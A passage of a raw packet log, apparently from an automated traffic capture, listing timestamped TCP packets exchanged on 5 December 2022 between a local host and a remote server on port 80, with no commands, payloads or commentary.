Dec 5, 2022 06:44:48.905595064 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.920845985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.920876980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.920893908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.920912981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.920931101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.920945883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.920950890 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.920998096 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.924956083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.924984932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925008059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925030947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925061941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.925265074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925283909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925312996 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.925647974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925673962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925693035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925715923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925726891 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.925739050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925755978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925777912 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.925779104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925802946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925820112 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925841093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925858021 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.925863028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925879955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925915003 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.925946951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925970078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.925987005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926007986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926008940 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.926031113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926048040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926080942 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.926104069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926286936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926306009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926326990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926345110 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.926347971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926366091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.926386118 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.927598953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927623987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927639961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927660942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927678108 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.927684069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927700996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927731991 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.927921057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927944899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927961111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927983046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.927994967 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.928005934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.928020954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.928056955 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.928100109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.928123951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.928138971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.928184986 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.986241102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.986310959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.986347914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.986408949 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.061304092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061373949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061405897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061448097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061490059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061521053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061533928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.061566114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061608076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061633110 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.061639071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.061672926 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.065565109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.065612078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.065642118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.065711021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.065711975 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.065756083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.065787077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.065812111 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.067574978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067636967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067672014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067713976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067735910 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.067758083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067789078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067831039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067847013 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.067873955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067904949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067929029 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.067946911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.067989111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.068018913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.068042994 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.084821939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.084866047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.084894896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.084935904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.084979057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.085001945 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.085007906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.085067987 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.089035034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089097977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089129925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089168072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.089173079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089215994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089246988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089272976 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.089355946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089397907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089430094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089471102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089489937 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.089513063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089546919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089584112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.089587927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089629889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089662075 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089684010 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.089703083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089745045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089776039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089817047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089842081 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.089858055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089886904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089927912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089937925 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.089968920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.089999914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.090022087 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.090042114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.090087891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.090150118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.090189934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.090209961 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.090230942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.090260983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.090311050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.091962099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092021942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092055082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092087030 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.092097998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092142105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092173100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092199087 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.092214108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092257023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092289925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092329979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092345953 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.092371941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092401981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092428923 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.092504978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092549086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092578888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.092607975 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.150132895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.150203943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.150230885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.150392056 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.224112034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224205017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224237919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224280119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224319935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224349976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224351883 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.224392891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224406958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.224436045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224467993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.224580050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.228157997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.228215933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.228249073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.228293896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.228327990 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.228334904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.228365898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.228396893 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.230288029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230349064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230380058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230405092 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.230421066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230463028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230494022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230515957 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.230535030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230581045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230609894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230632067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.230650902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230690956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230720043 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.230740070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.247427940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.247490883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.247525930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.247556925 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.247572899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.247616053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.247644901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.247695923 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.251790047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.251847982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.251880884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.251962900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.252664089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.252728939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.252757072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.252785921 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.252799034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.252841949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.252871037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.252912045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.252952099 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.252953053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.252985954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253001928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.253029108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253071070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253099918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253124952 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.253140926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253181934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253211021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253252029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253261089 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.253293037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253324032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253349066 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.253364086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253405094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253434896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253473997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253494024 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.253515005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253546953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253587008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253591061 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.253629923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253659964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.253714085 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.254503965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254544973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254576921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254618883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254625082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.254659891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254690886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254731894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254736900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.254789114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254822016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254847050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.254864931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254934072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.254966021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.255007029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.255028009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.255048037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.255078077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.255131006 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.313271046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.313338995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.313373089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.313504934 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.386956930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387027025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387061119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387103081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387145996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387168884 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.387176037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387217045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387227058 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.387259960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387291908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.387343884 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.390644073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.390707016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.390741110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.390780926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.390784979 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.390822887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.390855074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.390908003 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.393544912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393590927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393623114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393662930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393666983 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.393707037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393738985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393759966 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.393779039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393821001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393848896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393873930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.393889904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393933058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393964052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.393990993 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.410156012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.410222054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.410257101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.410298109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.410339117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.410357952 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.410372019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.410425901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.414486885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.414545059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.414582014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.414732933 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.415712118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.415759087 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.415790081 CET	80	49705	104.193.254.97	192.168.2.3
